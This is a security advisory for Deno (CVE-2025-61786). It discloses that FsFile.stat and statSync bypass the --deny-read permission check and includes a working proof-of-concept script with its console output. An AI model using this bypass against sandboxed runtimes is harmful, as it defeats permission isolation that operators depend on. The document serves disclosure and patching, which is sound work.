GHSA-qq26-84mh-26j9
Deno's --deny-read check does not prevent permission bypass
Details
### Summary
`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`)
Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
### PoC
Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3
touch test1.txt ```
- `poc_file.stat.ts` ```ts // touch test1.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1 // deno run --allow-write=./ poc_file.stat.ts 1 async function poc1(){ using file = await Deno.open("./test1.txt", { read: false, write: true}); const fileInfo = await file.stat(); console.log(fileInfo.isFile); }
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2 // deno run --allow-write=./ poc_file.stat.ts 2 function poc2(){ using file = Deno.openSync("./test1.txt", { read: false, write: true}); const fileInfo = file.statSync(); console.log(fileInfo.isFile); }
// https://docs.deno.com/api/deno/~/Deno.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3 // deno run --allow-write=./ poc_file.stat.ts 3 async function poc3(){ // not executed const fileInfo = await Deno.stat("./test1.txt"); console.log(fileInfo.isFile); }
// https://docs.deno.com/api/deno/~/Deno.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4 // deno run --allow-write=./ poc_file.stat.ts 4 function poc4(){ // not executed const fileInfo = Deno.statSync("./test1.txt"); console.log(fileInfo.isFile); }
async function main(){ const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } }
main() ```
Output: - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1` ``` PermissionStatus { state: "denied", onchange: null } true ```
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2` ``` PermissionStatus { state: "denied", onchange: null } true ```
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = await Deno.stat("./test1.txt"); ^ ... ```
- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = Deno.statSync("./test1.txt"); ^ ... ```
### Impact
Permission model bypass
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2025-61786[ADVISORY]
- https://github.com/denoland/deno/pull/30876[WEB]
- https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec[WEB]
- https://github.com/denoland/deno[PACKAGE]
- https://github.com/denoland/deno/releases/tag/v2.2.15[WEB]
- https://github.com/denoland/deno/releases/tag/v2.5.3[WEB]